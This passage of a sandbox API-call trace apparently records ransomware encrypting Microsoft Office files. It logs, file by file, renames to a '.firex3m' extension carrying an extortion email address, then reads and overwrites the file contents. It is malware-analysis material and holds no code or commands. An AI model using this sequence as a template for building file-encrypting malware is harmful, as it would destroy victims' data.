cFileName="BL00194_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0019~2.FIR")) returned 0x6d54c0 [0134.479] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0134.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0134.479] GetProcessHeap () returned 0x630000 [0134.479] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfa1) returned 0x727d80 [0134.479] GetProcessHeap () returned 0x630000 [0134.479] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfa1) returned 0x717930 [0134.479] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.480] ReadFile (in: hFile=0x69c, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf80, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x50fff0c*=0xf80, lpOverlapped=0x0) returned 1 [0136.514] GetProcessHeap () returned 0x630000 [0136.514] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0136.514] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.514] WriteFile (in: hFile=0x69c, lpBuffer=0x717930*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x717930*, lpNumberOfBytesWritten=0x50fff0c*=0xf80, lpOverlapped=0x0) returned 1 [0136.514] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.515] WriteFile (in: hFile=0x69c, lpBuffer=0x7188af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7188af*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.515] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.515] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.515] CloseHandle (hObject=0x69c) returned 1 [0136.516] GetProcessHeap () returned 0x630000 [0136.516] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717930 | out: hHeap=0x630000) returned 1 [0136.516] GetProcessHeap () returned 0x630000 [0136.516] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0136.516] GetProcessHeap () returned 0x630000 [0136.516] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0136.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17517e78, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0xa207496, dwReserved1=0x727d78, cFileName="BL00194_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0019~2.FIR")) returned 0x6d5480 [0136.516] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0136.516] Sleep (dwMilliseconds=0x1) [0138.347] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", len=0x5c | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml") returned 1 [0138.347] GetProcessHeap () returned 0x630000 [0138.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a6c) returned 0x72b0508 [0138.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.347] CloseHandle (hObject=0x698) returned 1 [0138.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11541b08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe35, dwReserved0=0x9, dwReserved1=0xfffffffb, cFileName="Office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5480 [0138.351] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0138.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.351] GetProcessHeap () returned 0x630000 [0138.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x7205a88 [0138.351] GetProcessHeap () returned 0x630000 [0138.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x7280fa8 [0138.351] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.351] ReadFile (in: hFile=0x698, lpBuffer=0x7205a88, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7205a88*, lpNumberOfBytesRead=0x50fff0c*=0xe20, lpOverlapped=0x0) returned 1 [0138.366] GetProcessHeap () returned 0x630000 [0138.366] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0138.366] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.366] WriteFile (in: hFile=0x698, lpBuffer=0x7280fa8*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7280fa8*, lpNumberOfBytesWritten=0x50fff0c*=0xe20, lpOverlapped=0x0) returned 1 [0138.366] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.366] WriteFile (in: hFile=0x698, lpBuffer=0x7281dc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7281dc7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.366] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.366] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.366] CloseHandle (hObject=0x698) returned 1 [0138.367] GetProcessHeap () returned 0x630000 [0138.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7280fa8 | out: hHeap=0x630000) returned 1 [0138.368] GetProcessHeap () returned 0x630000 [0138.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7205a88 | out: hHeap=0x630000) returned 1 [0138.368] GetProcessHeap () returned 0x630000 [0138.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0138.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x186c4331, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0xa207496, dwReserved1=0x7205a80, cFileName="Office 2007 - 2010.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d4e40 [0138.368] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0138.368] Sleep (dwMilliseconds=0x1) [0138.386] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", len=0x51 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml") returned 1 [0138.386] GetProcessHeap () returned 0x630000 [0138.387] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a64) returned 0x72b0508 [0138.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.387] CloseHandle (hObject=0x698) returned 1 [0138.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc2, dwReserved0=0xf108d32a, dwReserved1=0x780065, cFileName="Georgia.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GEORGI~1.FIR")) returned 0x6d4e00 [0138.388] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0138.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.388] GetProcessHeap () returned 0x630000 [0138.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7245200 [0138.388] GetProcessHeap () returned 0x630000 [0138.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x72435f0 [0138.388] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.388] ReadFile (in: hFile=0x698, lpBuffer=0x7245200, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7245200*, lpNumberOfBytesRead=0x50fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0139.937] GetProcessHeap () returned 0x630000 [0139.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0139.937] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.937] WriteFile (in: hFile=0x698, lpBuffer=0x72435f0*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72435f0*, lpNumberOfBytesWritten=0x50fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0139.937] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.937] WriteFile (in: hFile=0x698, lpBuffer=0x72443af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72443af*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.937] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.937] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.937] CloseHandle (hObject=0x698) returned 1 [0139.938] GetProcessHeap () returned 0x630000 [0139.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72435f0 | out: hHeap=0x630000) returned 1 [0139.938] GetProcessHeap () returned 0x630000 [0139.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7245200 | out: hHeap=0x630000) returned 1 [0139.938] GetProcessHeap () returned 0x630000 [0139.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0139.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x195ab0f1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x50ffd20, dwReserved1=0x7245200, cFileName="Georgia.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GEORGI~1.FIR")) returned 0x6d5580 [0139.938] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0139.938] Sleep (dwMilliseconds=0x1) [0140.793] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms", len=0x4d | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 1 [0140.793] GetProcessHeap () returned 0x630000 [0140.793] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c80) returned 0x7203db8 [0140.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0142.700] CloseHandle (hObject=0x6c0) returned 1 [0142.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.021] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4d461ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4d461ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4e2afa8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d36, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="MondoR_Retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO8A48~1.FIR")) returned 0x6d5540 [0143.021] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0143.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0143.022] GetProcessHeap () returned 0x630000 [0143.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x6ec7ba8 [0143.022] GetProcessHeap () returned 0x630000 [0143.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x7112f0 [0143.022] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.022] ReadFile (in: hFile=0x6c0, lpBuffer=0x6ec7ba8, nNumberOfBytesToRead=0x2d20, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec7ba8*, lpNumberOfBytesRead=0x50fff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0143.553] GetProcessHeap () returned 0x630000 [0143.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176250 [0143.553] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.553] WriteFile (in: hFile=0x6c0, lpBuffer=0x7112f0*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7112f0*, lpNumberOfBytesWritten=0x50fff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0143.553] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.553] WriteFile (in: hFile=0x6c0, lpBuffer=0x71400f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71400f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.554] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.554] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.554] CloseHandle (hObject=0x6c0) returned 1 [0143.648] GetProcessHeap () returned 0x630000 [0143.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7112f0 | out: hHeap=0x630000) returned 1 [0143.648] GetProcessHeap () returned 0x630000 [0143.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec7ba8 | out: hHeap=0x630000) returned 1 [0143.648] GetProcessHeap () returned 0x630000 [0143.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176250 | out: hHeap=0x630000) returned 1 [0143.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4d461ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4d461ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b847ffd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d5a, dwReserved0=0xa207496, dwReserved1=0x6ec7ba0, cFileName="MondoR_Retail-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO8A48~1.FIR")) returned 0x6d5340 [0143.860] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0143.860] Sleep (dwMilliseconds=0x1) [0143.872] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT", len=0x42 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT") returned 1 [0143.872] GetProcessHeap () returned 0x630000 [0143.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2688) returned 0x71f7c78 [0143.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0145.434] CloseHandle (hObject=0x6b0) returned 1 [0145.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft 